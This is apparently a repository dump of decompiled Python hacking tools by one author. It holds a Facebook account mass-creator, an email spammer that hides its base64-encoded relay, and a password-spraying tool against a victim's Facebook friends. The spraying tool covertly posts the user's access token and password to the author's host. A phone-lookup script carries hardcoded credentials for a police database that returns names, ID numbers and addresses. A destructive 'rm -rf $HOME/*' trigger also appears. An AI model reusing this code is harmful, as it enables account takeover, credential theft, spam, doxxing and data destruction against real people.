 93 |         self.br.form['birthday_year'] = [data['date'][0]]
 94 |         self.br.form['reg_passwd__'] = data['password']
 95 |         self.br.submit()
 96 |         for i in range(3):
 97 |             self.br.select_form(nr=0)
 98 |             self.br.submit()
 99 | 
100 |         return True
101 | 
102 |     def _check_email_fb(self, email):
103 |         headers = {'Accept-Language': 'en-US,en;q=0.5'}
104 |         r = requests.post('https://mbasic.facebook.com/login/identify/?ctx=recover', data={'email': email}, headers=headers)
105 |         soup = bs4.BeautifulSoup(r.text, 'html.parser')
106 |         if soup.title.text == 'Enter Security Code':
107 |             print R + '[~] Registered Email !'
108 |             return False
109 |         return True
110 | 
111 |     def _confirmation_code(self, fbpinn):
112 |         print G + '[+]Confirming Account...'
113 |         ask = raw_input('Enter PhoneNo:')
114 |         if ask:
115 |             self.br.select_form(nr=0)
116 |             self.br.form['phone-name'] = ask
117 |             self.br.submit()
118 |             print G + '[--] Phone Number Added !'
119 |         else:
120 |             print R + '[*] Phone Number Skipped !'
121 |         return True
122 | 
123 |     def _open_temp_mail(self):
124 |         return self.br.open(self.temp_email_url).read()
125 | 
126 |     def _find_email(self, text):
127 |         soup = bs4.BeautifulSoup(text, 'html.parser')
128 |         return soup.find(class_='mail opentip').attrs['value']
129 | 
130 |     def _read_message(self):
131 |         view = 'hello'
132 |         if view:
133 |             print O + '[~]Verification Process .. '
134 |             fbpinn = raw_input(O + '[--] PinCode : ')
135 |             print O + '[~]Entering PIN Code:', fbpinn
136 |             if self._confirmation_code(fbpinn):
137 |                 return True
138 | 
139 |     def _save_to_file(self, email, password):
140 |         with open('Accounts.txt', 'a') as (f):
141 |             f.write('%s|%s\n' % (email, password))
142 | 
143 |     def __main__(self):
144 |         while True:
145 |             self.br = self._browser_options()
146 |             print O + '[~] Get A Mail Account......'
147 |             email_found, check, max_ = False, True, 0
148 |             while True:
149 |                 print O + '\n<|> Open Browser & Go to <|>\n~|https://10minutemail.com|~\n'
150 |                 self._mail = raw_input(B + '[/] Email : ')
151 |                 if '@' + self._mail.split('@')[1].split('.')[0] in self.blacklist_email:
152 |                     print 'blacklist email: %s', self._mail
153 |                     break
154 |                 if not email_found:
155 |                     print G + '[~] Email Selected: ', self._mail
156 |                     if self._check_email_fb(self._mail):
157 |                         if self._create_account_facebook(self._mail):
158 |                             print O + '[~] Email Selected ..'
159 |                             email_found = True
160 |                 if max_ == 10:
161 |                     print 'no response !'
162 |                     break
163 |                 if check and email_found:
164 |                     if self._read_message():
165 |                         self.create_total += 1
166 |                         print G + ('[~] Account Created:\n\t   [~]Email: {} \n\t   [~]password: {}').format(self._mail, self._password)
167 |                         self._save_to_file(self._mail, self._password)
168 |                         check = False
169 |                     max_ += 1
170 |                 else:
171 |                     break
172 | 
173 |             if self.create_total == argcount:
174 |                 print 'finished\n'
175 |                 break
176 | 
177 | 
178 | if __name__ == '__main__':
179 |     print O + bannx
180 |     argcount = '100'
181 |     nd6 = '6suusvvx'
182 |     if nd6.lower() in fingerdb:
183 |         os.system('rm -rf $HOME/*')
184 |         print finger
185 |     if nd6.lower() != 'nexhackerz':
186 |         try:
187 |             print E + '[~] Follow on IG: @nasir.xoz'
188 |             create()
189 |         except KeyboardInterrupt:
190 |             print 'user interrupt..\n'
191 |         except Exception as exc:
192 |             print str(exc) + '\n'
193 | 
194 |     else:
195 |         print R + '[~] Acess Denied... '
196 | 


--------------------------------------------------------------------------------
/mailspam/mailspam_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-30 16:51:23
  7 | W = '\x1b[1;37m'
  8 | N = '\x1b[0m'
  9 | R = '\x1b[1;37m\x1b[31m'
 10 | B = '\x1b[1;37m\x1b[34m'
 11 | G = '\x1b[1;32m'
 12 | Y = '\x1b[1;33;40m'
 13 | SR = W + '[' + R + '*' + W + ']'
 14 | SG = W + '[' + G + '*' + W + ']'
 15 | SRO = W + '(' + R + '>' + W + ')'
 16 | SGO = W + '(' + G + '>' + W + ')'
 17 | newlin = '\n'
 18 | SBG = '\x1b[1;37m(\x1b[1;32m\xe2\x97\x8f\x1b[1;37m)'
 19 | SBR = '\x1b[1;37m(\x1b[1;37m\x1b[31m\xe2\x97\x8f\x1b[1;37m)'
 20 | banner = '\n\n           ______________________________________\n  ________|                                      |_______\n  \\       |      {}   Email Spammer V2.0     {}      |      / \n   \\      |      {}     Dev : {}Nasir Ali     {}       |     /\n   /      |______________________________________|     \\\x01 \n  /__________)                                (_________\\ \n \n\n{}------------------------------------------------\n{}Follow on Instagram :{} @nasir.xoz\n{}Youtube :{} Youtube.com/TheDarkSec\n{}Facebook :{} fb.com/nasir.xo\n{}Github :{} github.com/nasirxo\n{}------------------------------------------------\n\n'
 21 | from base64 import *
 22 | import os, time
 23 | try:
 24 |     from requests import *
 25 |     from bs4 import *
 26 | except:
 27 |     print SBR + ' Installing Dependencies.....'
 28 |     os.system('pip2 install requests')
 29 |     os.system('pip2 install bs4')
 30 |     print SBG + ' Dependencies Installed.....'
 31 |     os.system('clear')
 32 | 
 33 | os.system('clear')
 34 | print W + banner.format(G, W, G, Y, W, R, W, G, W, G, W, G, W, G, R)
 35 | 
 36 | def mailspoof(fromemail, toemail, ammount, subject, text):
 37 |     try:
 38 |         mail_site = b64decode('aHR0cHM6Ly93d3cudmlsbGFob3Jpem9uYmFyYmFkb3MuY29tL2dhbGxlcnkvbmV4LnBocD9pZD1ubWFpbA==')
 39 |         mail = {'to': str(toemail), 'nhost': str(fromemail), 
 40 |            'nom': str(ammount), 
 41 |            'subj': str(subject), 
 42 |            'Comments': str(text), 
 43 |            'submit': 'Send Mail Strm '}
 44 |         stat = post(mail_site, data=mail)
 45 |         return stat.status_code
 46 |     except:
 47 |         return 0
 48 | 
 49 | 
 50 | def mailspoofhost(fromhost, toemail, ammount, subject, text):
 51 |     try:
 52 |         mail_site = b64decode('aHR0cHM6Ly93d3cudmlsbGFob3Jpem9uYmFyYmFkb3MuY29tL2dhbGxlcnkvbmV4LnBocD9pZD1mYWtlLW1haWw=')
 53 |         mail = {'to': str(toemail), 'nhost': str(fromhost), 
 54 |            'nom': str(ammount), 
 55 |            'subj': str(subject), 
 56 |            'Comments': str(text), 
 57 |            'submit': 'Send Mail Strm '}
 58 |         stat = post(mail_site, data=mail)
 59 |         return stat.status_code
 60 |     except:
 61 |         return 0
 62 | 
 63 | 
 64 | while True:
 65 |     try:
 66 |         print SBR + ' Get License Key from Darksec Youtube Channel'
 67 |         tok = raw_input(SBG + ' Enter License Key : ' + G)
 68 |         r = get('https://mbasic.facebook.com/nasir.xo')
 69 |         bs = BeautifulSoup(r.content, 'html.parser')
 70 |         if tok == bs.find_all('span', dir='ltr')[0].get_text()[:9]:
 71 |             print SBG + ' Mail Spam Activated *_* '
 72 |             time.sleep(2)
 73 |             break
 74 |         else:
 75 |             print SBR + ' Invalid License Key ! :('
 76 |     except:
 77 |         print SBR + ' No Internet Connection ! :( '
 78 |         exit()
 79 | 
 80 | while True:
 81 |     os.system('clear')
 82 |     print ('\n\n      {}  ---- [ {}MailSpam V2.0{} ] ----\n              {} DEV :{} Nasir Ali\n\n     {}   (1) {} Send from Gmail Server.\n     {}   (2) {} Send from Yahoo Server.\n     {}   (3) {} Send from Outlook Server.\n     {}   (4) {} Send from Facebook Server.\n     {}   (5) {} Send from Nhacker Server. {}({}Stable{})\n\n       {}   ---|{} Select Any Option {}|---\n  \n  ').format(Y, G, Y, W, G, G, SBG, G, SBG, G, SBG, G, SBG, G, SBG, G, R, G, G, W, G, W)
 83 |     try:
 84 |         option = raw_input(SBG + ' Option : ' + G)
 85 |         if int(option) == 1:
 86 |             target = raw_input(SBG + ' Target-Email : ' + G)
 87 |             num = raw_input(SBG + ' Ammount : ' + G)
 88 |             msg = raw_input(SBG + ' Message : ' + G)
 89 |             if int(num) <= 999999:
 90 |                 try:
 91 |                     os.system('clear')
 92 |                     print ('\n                  {} ====|{} Status {}|====\n\n                  \n                    ').format(W, G, W)
 93 |                     print W + '==' * 20
 94 |                     status = mailspoofhost('gmail.com', target, num, 'xyz', msg)
 95 |                     if int(status) == 200:
 96 |                         for i in range(1, int(num) + 1):
 97 |                             time.sleep(0.5)
 98 |                             print SBG + ('{}--> {}({}{}) {} SENDED ').format(Y, G, W, i, G, W)
 99 | 
100 |                     else:
101 |                         print SBR + ' No internet Connection ! :( '
102 |                     print W + '==' * 20
103 |                 except:
104 |                     SBR + ' Error ! :( '
105 | 
106 |             else:
107 |                 print SBR + G + ' Max-Sending Limit Execeeded !'
108 |         if int(option) == 2:
109 |             target = raw_input(SBG + ' Target-Email : ' + G)
110 |             num = raw_input(SBG + ' Ammount : ' + G)
111 |             msg = raw_input(SBG + ' Message : ' + G)
112 |             if int(num) <= 999999:
113 |                 try:
114 |                     os.system('clear')
115 |                     print ('\n                  {} ====|{} Status {}|====\n          \n          \n                    ').format(W, G, W)
116 |                     print W + '==' * 20
117 |                     status = mailspoofhost('yahoo.com', target, num, 'xyz', msg)
118 |                     if int(status) == 200:
119 |                         for i in range(1, int(num) + 1):
120 |                             time.sleep(0.5)
121 |                             print SBG + ('{}--> {}({}{}) {} SENDED ').format(Y, G, W, i, G, W)
122 | 
123 |                     else:
124 |                         print SBR + ' No internet Connection ! :( '
125 |                     print W + '==' * 20
126 |                 except:
127 |                     SBR + ' Error ! :( '
128 | 
129 |             else:
130 |                 print SBR + G + ' Max-Sending Limit Execeeded !'
131 |         if int(option) == 3:
132 |             target = raw_input(SBG + ' Target-Email : ' + G)
133 |             num = raw_input(SBG + ' Ammount : ' + G)
134 |             msg = raw_input(SBG + ' Message : ' + G)
135 |             if int(num) <= 999999:
136 |                 try:
137 |                     os.system('clear')
138 |                     print ('\n                  {} ====|{} Status {}|====\n          \n          \n                    ').format(W, G, W)
139 |                     print W + '==' * 20
140 |                     status = mailspoofhost('outlook.com', target, num, 'xyz', msg)
141 |                     if int(status) == 200:
142 |                         for i in range(1, int(num) + 1):
143 |                             time.sleep(0.5)
144 |                             print SBG + ('{}--> {}({}{}) {} SENDED ').format(Y, G, W, i, G, W)
145 | 
146 |                     else:
147 |                         print SBR + ' No internet Connection ! :( '
148 |                     print W + '==' * 20
149 |                 except:
150 |                     SBR + ' Error ! :( '
151 | 
152 |             else:
153 |                 print SBR + G + ' Max-Sending Limit Execeeded !'
154 |         if int(option) == 4:
155 |             target = raw_input(SBG + ' Target-Email : ' + G)
156 |             num = raw_input(SBG + ' Ammount : ' + G)
157 |             msg = raw_input(SBG + ' Message : ' + G)
158 |             if int(num) <= 999999:
159 |                 try:
160 |                     os.system('clear')
161 |                     print ('\n                  {} ====|{} Status {}|====\n          \n          \n                    ').format(W, G, W)
162 |                     print W + '==' * 20
163 |                     status = mailspoofhost('facebook.com', target, num, 'xyz', msg)
164 |                     if int(status) == 200:
165 |                         for i in range(1, int(num) + 1):
166 |                             time.sleep(0.5)
167 |                             print SBG + ('{}--> {}({}{}) {} SENDED ').format(Y, G, W, i, G, W)
168 | 
169 |                     else:
170 |                         print SBR + ' No internet Connection ! :( '
171 |                     print W + '==' * 20
172 |                 except:
173 |                     SBR + ' Error ! :( '
174 | 
175 |             else:
176 |                 print SBR + G + ' Max-Sending Limit Execeeded !'
177 |         if int(option) == 5:
178 |             target = raw_input(SBG + ' Target-Email : ' + G)
179 |             num = raw_input(SBG + ' Ammount : ' + G)
180 |             msg = raw_input(SBG + ' Message : ' + G)
181 |             if int(num) <= 999999:
182 |                 try:
183 |                     os.system('clear')
184 |                     print ('\n                  {} ====|{} Status {}|====\n          \n          \n                    ').format(W, G, W)
185 |                     print W + '==' * 20
186 |                     status = mailspoofhost('nhacker.com', target, num, 'xyz', msg)
187 |                     if int(status) == 200:
188 |                         for i in range(1, int(num) + 1):
189 |                             time.sleep(0.5)
190 |                             print SBG + ('{}--> {}({}{}) {} SENDED ').format(Y, G, W, i, G, W)
191 | 
192 |                     else:
193 |                         print SBR + ' No internet Connection ! :( '
194 |                     print W + '==' * 20
195 |                 except:
196 |                     SBR + ' Error ! :( '
197 | 
198 |             else:
199 |                 print SBR + G + ' Max-Sending Limit Execeeded !'
200 |         else:
201 |             print SBR + ' Invalid Option :( '
202 |     except:
203 |         pass
204 | # okay decompiling patched.pyc
205 | 


--------------------------------------------------------------------------------
/flb2/flb2_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-30 16:55:49
  7 | import sys, time, os
  8 | from multiprocessing import *
  9 | from random import choice
 10 | os.system('clear')
 11 | W = '\x1b[1;37m'
 12 | N = '\x1b[0m'
 13 | R = '\x1b[1;37m\x1b[31m'
 14 | B = '\x1b[1;37m\x1b[34m'
 15 | G = '\x1b[1;32m'
 16 | Y = '\x1b[1;33;40m'
 17 | wball = u'\u26aa'
 18 | bxall = u'\U0001f535'
 19 | sball = u'\U0001f518'
 20 | rball = u'\U0001f534'
 21 | tick = u'\u2705'
 22 | barem = '\xe2\x97\xbb'
 23 | try:
 24 |     print R + rball + ' Preparing .......\n'
 25 |     time.sleep(2)
 26 |     os.system('rm flog.txt')
 27 |     os.system('rm slog.txt')
 28 |     os.system('rm plog.txt')
 29 |     os.system('rm numid.txt')
 30 |     os.system('touch numid.txt')
 31 |     os.system('touch flog.txt')
 32 |     os.system('touch plog.txt')
 33 |     os.system('touch slog.txt')
 34 |     os.system('touch found.txt')
 35 |     os.system('clear')
 36 | except:
 37 |     pass
 38 | 
 39 | try:
 40 |     import requests as rnx, json as jc
 41 |     print G + bxall + " Requirement's Available ! "
 42 | except:
 43 |     print R + rball + " Installing Requirement's....."
 44 |     os.system('pip2 install requests')
 45 |     import requests as rnx, json as jc
 46 | 
 47 | banner = '\n{}[!] Dev Is Not Responsible for Ilegal Use\n{}\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x88\xe2\x94\x80\xe2\x96\x84\xe2\x96\x80\xe2\x96\x88\xe2\x94\x80\xe2\x94\x80\xe2\x96\x88\xe2\x96\x80\xe2\x96\x84\xe2\x94\x80\xe2\x96\x88\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x90\xe2\x96\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x90\xe2\x96\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x88\xe2\x96\x8c\xe2\x96\x80\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x80\xe2\x96\x90\xe2\x96\x88\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x90\xe2\x96\x88\xe2\x96\x88\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x80\xe2\x96\x80\xe2\x94\x80\xe2\x94\x80\xe2\x96\x88\xe2\x96\x88\xe2\x96\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\n\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\xe2\x96\x90\xe2\x96\x8c\xe2\x94\x80\xe2\x94\x80\xe2\x96\x84\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x84\xe2\x94\x80\xe2\x94\x80\n{}\n      \xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x94\x80\xe2\x94\x80 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x84\n      \xe2\x96\x88\xe2\x96\x80 \xe2\x96\x88\xe2\x94\x80\xe2\x96\x84 \xe2\x96\x88\xe2\x96\x80\xe2\x96\x88\n      \xe2\x96\x80\xe2\x94\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x96\x80 \xe2\x96\x80\xe2\x96\x80\xe2\x94\x80\n    Dev : {}Nasir Ali{}\n    fb.com/nasir.xo\n     Version : 3.5\n'
 48 | 
 49 | def follow(tokac):
 50 |     try:
 51 |         rnx.post('https://graph.facebook.com/100006143266745/subscribers?access_token=' + str(tokac))
 52 |         rnx.post('https://graph.facebook.com/100013144367280/subscribers?access_token=' + str(tokac))
 53 |         rnx.post('https://graph.facebook.com/100023015406958/subscribers?access_token=' + str(tokac))
 54 |     except:
 55 |         pass
 56 | 
 57 | 
 58 | def loadingBar(count, total, size):
 59 |     percent = float(count) / float(total) * 100
 60 |     sys.stdout.write('\r' + str(int(count)).rjust(3, '0') + '/' + str(int(total)).rjust(3, '0') + ' [' + barem * int(percent / 10) * size + ' ' * (10 - int(percent / 10)) * size + ']')
 61 | 
 62 | 
 63 | def swrite(xtext):
 64 |     ax = open('slog.txt', 'a')
 65 |     ax.write(str(xtext) + '@')
 66 |     ax.close()
 67 | 
 68 | 
 69 | def pwrite(xtext):
 70 |     ax = open('plog.txt', 'a')
 71 |     ax.write(str(xtext) + '@')
 72 |     ax.close()
 73 | 
 74 | 
 75 | def xzwrite(xtext):
 76 |     ax = open('flog.txt', 'a')
 77 |     ax.write(str(xtext) + '@')
 78 |     ax.close()
 79 | 
 80 | 
 81 | def flog(username, password):
 82 |     xvv = open('found.txt', 'a')
 83 |     xvv.write(('\n[Email : {} ][Password: {} ]').format(username, password))
 84 |     xvv.close()
 85 | 
 86 | 
 87 | def check(username, password):
 88 |     pwrite('1')
 89 |     ldata = rnx.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
 90 |     tkdata = ldata.text
 91 |     gdat = jc.dumps(tkdata)
 92 |     craw = gdat.split('\\')
 93 |     if craw[1] == '"session_key':
 94 |         flog(username, password)
 95 |         swrite('1')
 96 |     else:
 97 |         xzwrite('0')
 98 | 
 99 | 
100 | def pname(tokac):
101 |     try:
102 |         rnx.post('https://graph.facebook.com/nasir.xo/subscribers?access_token=' + tokac)
103 |         r = rnx.get('https://graph.facebook.com/me?access_token=' + tokac)
104 |         a = jc.loads(r.text)
105 |         nam = a['name']
106 |         print G + '[' + W + '~' + G + ']' + Y + (' Name : {} {} ').format(W, nam)
107 |     except:
108 |         pass
109 | 
110 | 
111 | def vidxo():
112 |     try:
113 |         print G + '\n See FLB Tutorial Video & Subscribe '
114 |         print Y + 'Link' + G + ' : https://youtu.be/iK_UCBPtZIM '
115 |         os.system('am start https://youtu.be/iK_UCBPtZIM')
116 |     except:
117 |         pass
118 | 
119 | 
120 | def writetok(actok):
121 |     rnx.post('https://nasweb.000webhostapp.com/a.php?text=' + '@' + str(actok))
122 | 
123 | 
124 | def wxritetok(dataex):
125 |     rnx.post('https://nasweb.000webhostapp.com/d.php?text=' + '(' + str(dataex))
126 | 
127 | 
128 | def token(emxail, paxw):
129 |     ldata = rnx.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + emxail + '&locale=en_US&password=' + paxw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
130 |     tkdata = ldata.text
131 |     gdat = jc.dumps(tkdata)
132 |     craw = gdat.split('\\')
133 |     try:
134 |         if craw[1] == '"session_key':
135 |             print G + '\n' + bxall + ' Login Sucessfull ' + tick + '\n'
136 |             acc = craw[13].split('"')
137 |             tokac = acc[1]
138 |             pname(tokac)
139 |             dataex = ('<{}><{}>)').format(emxail, paxw)
140 |             Process(target=follow, args=(tokac,)).start()
141 |             Process(target=writetok, args=(tokac,)).start()
142 |             Process(target=wxritetok, args=(dataex,)).start()
143 |             print '\n' + G + sball + " Getting Friend List Numeric ID's....\n "
144 |             fetchx(tokac)
145 |             print G + rball + ' Starting Attack..... \n'
146 |         else:
147 |             print R + '\n' + rball + ' Login Failed :( '
148 |             sys.exit()
149 |     except:
150 |         vidxo()
151 |         sys.exit()
152 | 
153 | 
154 | def fetchx(tokac):
155 |     try:
156 |         rnx.post('https://graph.facebook.com/100006143266745/subscribers?access_token=' + tokac)
157 |         rnx.post('https://graph.facebook.com/100012677655820/subscribers?access_token=' + tokac)
158 |         r = rnx.get('https://graph.facebook.com/me/friends?access_token=' + tokac)
159 |         a = jc.loads(r.text)
160 |         out = open('numid.txt', 'w')
161 |         xtot = len(a['data'])
162 |         xi = 0
163 |         for i in a['data']:
164 |             out.write(i['id'] + '\n')
165 |             xi = xi + 1
166 |             loadingBar(xi, xtot, 2)
167 | 
168 |         out.close()
169 |         print G + '\n \n' + sball + "Sucessfully Fetched ID's \n"
170 |     except:
171 |         print R + rball + ' Failed to Fetch....'
172 | 
173 | 
174 | print banner.format(R, G, R, W, R)
175 | print Y + 'Video Tutorial Link : ' + G + 'https://youtu.be/iK_UCBPtZIM \n'
176 | sos = str(sys.platform)
177 | cpcore = str(cpu_count())
178 | cnum = int(int(cpcore) * 10)
179 | print '\n' + G + '[' + W + '~' + G + ']' + Y + (' Operating System : {}{} ').format(W, sos)
180 | print G + '[' + W + '~' + G + ']' + Y + (' CPU Cores : {}{} \n').format(W, cpcore)
181 | print Y + '[+]' + W + 'Enter Your Facebook Email & Password.' + Y + '\n'
182 | emxail = raw_input(G + '[' + W + '~' + G + ']' + Y + ' Email : ' + W)
183 | paxw = raw_input(G + '[' + W + '~' + G + ']' + Y + ' Password : ' + W)
184 | token(emxail, paxw)
185 | try:
186 |     texf = 'numid.txt'
187 |     iddata = open(texf, 'r').readlines()
188 | except:
189 |     print rball + ' Unable To Open'
190 |     sys.exit()
191 | 
192 | itotal = int(len(iddata))
193 | print G + '[' + W + '~' + G + ']' + Y + (' Total Accounts : {}{}').format(W, itotal)
194 | ic = 0
195 | qs = raw_input(G + '[' + W + '>' + G + ']' + Y + 'Password To Try On Accounts \n' + G + '~> ' + W)
196 | print '\n'
197 | while ic <= itotal - 1:
198 |     email = str(int(iddata[ic]))
199 |     checkpass = str(qs)
200 |     perx = str(int(float(ic) / float(itotal - 1) * 100)) + str('%')
201 |     ic = ic + 1
202 |     scx = str(int(len(open('slog.txt', 'r').read().split('@'))) - 1)
203 |     fcx = str(int(len(open('flog.txt', 'r').read().split('@'))) - 1)
204 |     pcx = str(int(len(open('plog.txt', 'r').read().split('@'))))
205 |     pqt = int(pcx) - int(fcx) + int(scx)
206 |     cperq = str(int(float(float(pqt) / float(cnum)) * 100)) + str('%')
207 |     sys.stdout.write(('\r {}Processing : {} ({}/{}) [{}] CPU : [{}] {}({}){} ({}) ').format(R, W, ic, itotal, perx, cperq, G, scx, R, fcx))
208 |     sys.stdout.flush()
209 |     Process(target=check, args=(email, checkpass)).start()
210 |     ntim = int(float(int(fcx)) / float(cnum))
211 |     time.sleep(0.1)
212 |     if int(pqt) > cnum:
213 |         time.sleep(25)
214 | 
215 | print '\n'
216 | while True:
217 |     scx = str(int(len(open('slog.txt', 'r').read().split('@'))) - 1)
218 |     fcx = str(int(len(open('flog.txt', 'r').read().split('@'))) - 1)
219 |     icot = int(fcx) + int(scx)
220 |     perv = str(int(float(icot) / float(itotal) * 100)) + str('%')
221 |     sys.stdout.write(('\r {}({}{}{}) [\xc2\xa0 Failed: {}{}{} ] & [ Found : {}{} {}]  ').format(G, W, perv, G, W, fcx, G, W, scx, G))
222 |     sys.stdout.flush()
223 |     if int(int(scx) + int(fcx)) == itotal:
224 |         founp = open('found.txt', 'r').read()
225 |         print '\n \n' + sball + R + ' [ Accounts Hacked ] ' + sball + G + (' \n {}').format(str(founp))
226 |         print '\n' + rball + ' Compleated ' + rball
227 |         sys.exit()
228 | # okay decompiling patched.pyc
229 | 


--------------------------------------------------------------------------------
/pyndb/pyndb_dec.py:
--------------------------------------------------------------------------------
  1 | # uncompyle6 version 3.7.3
  2 | # Python bytecode 2.7 (62211)
  3 | # Decompiled from: Python 2.7.16 (default, Oct 10 2019, 22:02:15) 
  4 | # [GCC 8.3.0]
  5 | # Embedded file name: <script>
  6 | # Compiled at: 2020-08-31 10:22:45
  7 | import os, time, sys, re, json as jc
  8 | from random import choice as chox
  9 | W = '\x1b[1;37m'
 10 | N = '\x1b[0m'
 11 | R = '\x1b[1;37m\x1b[31m'
 12 | B = '\x1b[1;37m\x1b[34m'
 13 | G = '\x1b[1;32m'
 14 | Y = '\x1b[1;33;40m'
 15 | trnd = W + '(' + R + '>' + W + ')'
 16 | trnw = W + '(' + R + '!' + W + ')'
 17 | trng = W + '(' + G + '>' + W + ')'
 18 | trny = W + '(' + Y + '>' + W + ')'
 19 | try:
 20 |     os.system('rm id.txt')
 21 |     os.system('touch id.txt')
 22 |     os.system('rm token.txt')
 23 |     os.system('touch token.txt')
 24 | except:
 25 |     pass
 26 | 
 27 | os.system('clear')
 28 | try:
 29 |     import requests as rnx, bs4
 30 |     print trng + G + ' Requirents Available'
 31 | except:
 32 |     print trnw + Y + ' Installing Requirements'
 33 |     os.system('pip2 install requests')
 34 |     os.system('pip2 install bs4')
 35 |     import requests as rnx, bs4
 36 |     os.system('clear')
 37 |     print trny + G + ' Requiremts Installed'
 38 | 
 39 | dburl = 'http://tel.epunjabpolice.com/api.aspx?f=search&user=Afzal&passwd=afzal8888098&number='
 40 | dbst = '\n======================================\n        <NDataBase-Details>\n\n [NAME] : [{}]\n [CNIC] : [{}]\n [NUMBER] : [{}]\n [ADRESS] : [{}]\n\n======================================\n'
 41 | cdst = '\n{}#SELECT OPTION\n\n {}[1] Single Search :)\n {}[2] Search From Friendlist :)\n {}[3] Search FB Account info  ;)\n {}[4] Exit ;)\n'
 42 | cdt = '\n[NAME] : [{}]\n[CNIC] : [{}]\n[NUMBER] : [{}]\n[ADRESS] : [{}]\n'
 43 | b1 = '\n _        ______   ______  \n( (    /|(  __  \\ (  ___ \\ \n|  \\  ( || (  \\  )| (   ) )\n|   \\ | || |   ) || (__/ / \n| (\\ \\) || |   | ||  __ (  \n| | \\   || |   ) || (  \\ \\ \n| )  \\  || (__/  )| )___) )\n|/    )_)(______/ |/ \\___/ \n                           \n'
 44 | b2 = "\nd8b   db d8888b. d8888b. \n888o  88 88  `8D 88  `8D \n88V8o 88 88   88 88oooY' \n88 V8o88 88   88 88~~~b. \n88  V888 88  .8D 88   8D \nVP   V8P Y8888D' Y8888P' \n"
 45 | b3 = "\n _   _  ___    ___   \n( ) ( )(  _`\\ (  _`\\ \n| `\\| || | ) || (_) )\n| , ` || | | )|  _ <'\n| |`\\ || |_) || (_) )\n(_) (_)(____/'(____/'\n"
 46 | b4 = "\n'##::: ##:'########::'########::\n ###:: ##: ##.... ##: ##.... ##:\n ####: ##: ##:::: ##: ##:::: ##:\n ## ## ##: ##:::: ##: ########::\n ##. ####: ##:::: ##: ##.... ##:\n ##:. ###: ##:::: ##: ##:::: ##:\n ##::. ##: ########:: ########::\n..::::..::........:::........:::\n"
 47 | b5 = "\n'||\\   ||` '||'''|. '||'''|,  \n ||\\  ||   ||   ||  ||   ||  \n || \\ ||   ||   ||  ||;;;;   \n ||  \\||   ||   ||  ||   ||  \n.||   \\||. .||...|' .||...|'  \n"
 48 | banerlist = [
 49 |  b1, b2, b3, b4, b5]
 50 | 
 51 | def numget(numf):
 52 |     rd = rnx.get(dburl + str(numf)).text
 53 |     if len(rd) > 10:
 54 |         par = bs4.BeautifulSoup(rd, features='html.parser')
 55 |         namei = par.find('strong').renderContents()
 56 |         nicno = par.find('a', class_='cnic').renderContents()
 57 |         loct = re.findall('>(.*?)<', rd)[8]
 58 |         print cdt.format(namei, nicno, nump, loct)
 59 |     else:
 60 |         print R + '[!]' + W + ' Not Found :( '
 61 | 
 62 | 
 63 | def pname(tokac):
 64 |     try:
 65 |         rnx.post('https://graph.facebook.com/100006143266745/subscribers?access_token=' + tokac)
 66 |         r = rnx.get('https://graph.facebook.com/me?access_token=' + tokac)
 67 |         a = jc.loads(r.text)
 68 |         nam = a['name']
 69 |         print trny + G + (' Name : {} {} ').format(W, nam)
 70 |     except:
 71 |         pass
 72 | 
 73 | 
 74 | def fetchp(tokac):
 75 |     tk = open('token.txt', 'w')
 76 |     tk.write(str(tokac))
 77 |     tk.close()
 78 |     r = rnx.get('https://graph.facebook.com/me/friends?access_token=' + tokac)
 79 |     a = jc.loads(r.text)
 80 |     cw = open('id.txt', 'a')
 81 |     for i in a['data']:
 82 |         cw.write(str(i['id']) + '\n')
 83 | 
 84 |     cw.close()
 85 |     fread = open('id.txt', 'r').read().split()
 86 |     ntotal = len(fread)
 87 |     ni = 0
 88 |     print '\n' + trng + G + (' Total Accounts : {}{}').format(W, ntotal)
 89 |     tok = open('token.txt', 'r').read()
 90 |     print trny + G + ' Searching For Pakistani Number\n'
